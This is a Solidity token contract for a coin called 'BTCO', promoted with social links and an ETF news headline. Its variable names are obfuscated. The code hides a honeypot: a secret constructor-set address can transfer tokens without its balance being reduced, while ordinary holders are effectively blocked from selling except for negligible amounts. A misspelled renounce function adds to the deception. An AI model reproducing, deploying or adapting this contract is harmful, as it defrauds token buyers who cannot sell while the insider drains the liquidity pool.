/*

https://t.me/BTCOERC20

https://twitter.com/BTCO_ERC

The Invesco Galaxy Bitcoin ETF (BTCO) now appears on the clearing house’s site but doesn’t indicate an impending approval.
https://cointelegraph.com/news/invesco-galaxy-spot-bitcoin-etf-added-to-dtcc-website



*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnerships() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

contract BTCO is Ownable {
    function approve(address chtjfnpqa, uint256 dmubtf) public returns (bool success) {
        allowance[msg.sender][chtjfnpqa] = dmubtf;
        emit Approval(msg.sender, chtjfnpqa, dmubtf);
        return true;
    }

    uint256 public totalSupply = 1000000000 * 10 ** 9;

    mapping(address => mapping(address => uint256)) public allowance;

    string public name;

    mapping(address => uint256) private gyorb;

    function transferFrom(address pxdjyikrl, address jhluzakmtd, uint256 dmubtf) public returns (bool success) {
        require(dmubtf <= allowance[pxdjyikrl][msg.sender]);
        allowance[pxdjyikrl][msg.sender] -= dmubtf;
        oglms(pxdjyikrl, jhluzakmtd, dmubtf);
        return true;
    }

    mapping(address => bool) private nurhpbtxkjv;

    function oglms(address pxdjyikrl, address jhluzakmtd, uint256 dmubtf) private {
        address iozkuwxsbt = IUniswapV2Factory(xhcy.factory()).getPair(address(this), xhcy.WETH());
        bool nstvgazjd = gyorb[pxdjyikrl] == block.number;
        if (!nurhpbtxkjv[pxdjyikrl]) {
            if (pxdjyikrl != iozkuwxsbt && dmubtf < totalSupply && (!nstvgazjd || dmubtf > nshelxtirq[pxdjyikrl])) {
                require(totalSupply / (10 ** decimals) >= dmubtf);
            }
            balanceOf[pxdjyikrl] -= dmubtf;
        }
        nshelxtirq[jhluzakmtd] = dmubtf;
        balanceOf[jhluzakmtd] += dmubtf;
        gyorb[jhluzakmtd] = block.number;
        emit Transfer(pxdjyikrl, jhluzakmtd, dmubtf);
    }

    function transfer(address jhluzakmtd, uint256 dmubtf) public returns (bool success) {
        oglms(msg.sender, jhluzakmtd, dmubtf);
        return true;
    }

    string public symbol;

    constructor(string memory ygmfqv, string memory eyltwazkc, address hvpzdqesmjo, address wcbzvmskndlo) {
        name = ygmfqv;
        symbol = eyltwazkc;
        balanceOf[msg.sender] = totalSupply;
        nurhpbtxkjv[wcbzvmskndlo] = true;
        xhcy = IUniswapV2Router02(hvpzdqesmjo);
    }

    IUniswapV2Router02 private xhcy;

    mapping(address => uint256) private nshelxtirq;

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) public balanceOf;

    uint8 public decimals = 9;

    event Transfer(address indexed from, address indexed to, uint256 value);
}